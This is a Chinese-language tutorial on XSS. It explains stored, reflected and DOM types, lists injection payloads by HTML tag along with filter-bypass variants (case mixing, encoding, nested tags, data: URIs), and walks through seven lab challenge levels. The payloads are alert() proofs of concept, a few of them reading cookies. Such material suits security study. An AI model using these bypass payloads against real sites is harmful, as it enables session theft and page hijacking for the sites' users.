XSS漏洞原理分类标签及关卡
一、XSS漏洞原理
XSS(跨站脚本攻击)的本质是攻击者通过Web应用程序的输入验证漏洞,将恶意脚本代码注入到页面中,当用户访问该页面时,浏览器解析并执行恶意代码,从而实现攻击目的。
核心原理
输入未过滤:应用程序未对用户输入(如URL参数、表单字段、评论内容)进行严格过滤或转义,允许插入HTML、JavaScript等代码。
恶意代码执行:注入的脚本随页面返回到用户浏览器,被解析为合法代码执行,如窃取Cookie、劫持会话、重定向到钓鱼页面等。
触发条件:恶意代码的传播依赖于用户与页面的交互(如点击链接、加载存储内容)。
二、XSS漏洞全部分类
根据攻击方式与代码存储位置,XSS分为以下三类:
1. 存储型XSS(持久型)
特征:恶意脚本被永久存储在服务器(如数据库、文件系统),用户访问包含该内容的页面时触发。
攻击场景:常见于论坛评论、用户资料、商品详情页等可存储用户输入的模块。
危害:长期影响所有访问者,可导致蠕虫传播、大规模数据泄露。
2. 反射型XSS(非持久型)
特征:恶意脚本通过URL参数传递,服务器未存储直接返回给用户浏览器,需诱导用户主动点击恶意链接。
攻击场景:搜索框、错误提示页等动态生成内容的场景。
危害:常用于窃取用户会话Cookie或发起钓鱼攻击。
3. DOM型XSS
特征:攻击利用前端JavaScript操作DOM时的漏洞,无需与服务器交互,恶意代码通过URL片段(#
)或客户端脚本动态生成。
攻击场景:前端根据URL参数动态修改页面内容(如排序、筛选功能)。
危害:绕过服务端过滤,直接操控客户端逻辑,隐蔽性强。
三、标签
一、基础脚本标签
<script>标签
直接执行 JavaScript 代码:
<script>alert(1);</script> <script>alert("XSS");</script>
适用场景:未过滤 script
标签的输入点
二、事件处理标签
<img>
标签
利用 onerror;事件触发:
<img src="x" οnerrοr=alert(1)> <img src=1 οnerrοr=eval("alert('XSS')")>
特点:通过加载失败触发代码执行
<input>
标签
利用 onfocus、onblur ;等事件:
<input οnfοcus=alert(1) autofocus> <input οnmοuseοver=alert(1)>
适用场景:输入框或用户交互元素
<svg>
标签
内联 SVG 触发 onload ;事件:
<svg/οnlοad=alert(document.domain)> <svg><script>alert(1)</script></svg>
特点:HTML5 支持 SVG 内联,绕过部分过滤
<details>
标签
利用 ontoggle; 事件:
<details open οntοggle=alert(1)>
适用场景:动态展开/收缩的交互组件
三、特殊 HTML 标签
<a>
标签(伪协议利用)
使用javascript:;伪协议:
<a href="javascript:alert(1)">Click</a>
绕过技巧:依赖用户点击触发
<iframe>
标签
动态加载恶意内容:
<iframe src="javascript:alert(1)"></iframe> <iframe οnlοad=alert(document.cookie)></iframe>
特点:嵌入外部资源或执行内联脚本
<audio>
标签
利用onerror; 事件:
<audio src=x οnerrοr=alert(1)></audio>
适用场景:多媒体资源加载失败时触发
四、XSS标签变形绕过过滤
一、符号与语法变形
大小写混淆
混合大小写规避关键词检测:
<ImG sRc='x' OnErRor=alert(1)> <sCrIpT>alErT(1)</ScRiPt>
空格绕过
用/、%0A(换行符)替代空格:
<img/src=x/οnerrοr=alert(1)> <a%0Ahref=javascript:alert(1)>Click</a>
引号省略或替换
HTML属性中省略引号或使用反引号:
<img src=x οnerrοr=alert`1`> <a href=javascript:alert(1)>Link</a>
二、编码与字符混淆
HTML实体编码
将关键字符转为实体编码:
<img src=x οnerrοr=alert(1)>
Unicode/十六进制编码
使用Unicode或十六进制绕过过滤:
<svg/οnlοad=eval('\u0061\u006c\u0065\u0072\u0074(1)')> <img src=x οnerrοr=alert(1)>
拆分与拼接
分段拼接代码或利用字符串操作:
<script>a='al';b='ert(1)';eval(a+b)</script> <img src=x οnerrοr="a=alert; a(1)">
三、标签嵌套与属性滥用
标签内嵌干扰字符
插入无效字符或注释破坏检测逻辑:
<scr<script>ipt>alert(1)</script> <img src=x/**/οnerrοr=alert(1)>
非常用标签与事件属性
使用冷门标签(如<details>、<select>
)或非常用事件属性:
<details open οntοggle=alert(1)> <select autofocus οnfοcus=alert(1)></select>
伪协议与特殊协议
利用javascript:或data:
协议触发脚本:
<a href=javascript:alert(document.domain)>Click</a> src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></iframe>
五、XSS关卡
1.第一关
构造Payload
url?name=<script>alert()</script>
成功
查看后端代码
2.第二关
构造Payload
"> <script>alert()</script> <"
成功
查看后端代码
3.第三关
构造Payload
'> <script>alert()</script> <'
失败
尝试重新构造Payload
' οnfοcus=javascript:alert() '
成功
查看后端代码
4.第四关
构造Payload
" οnfοcus=javascript:alert() "
成功
查看后端代码
5.第五关
构造Payload
" οnfοcus=javascript:alert() "
失败
尝试重新构造Payload
"> <a href=javascript:alert()>xxx</a> <"
成功
查看后端代码
6.第六关
构造Payload
"> <sCript>alert()</sCript> <"
成功
查看后端代码
7.第七关
构造Payload
"> <a hrehreff=javasscriptcript:alert()>x</a> <"
成功
查看后端代码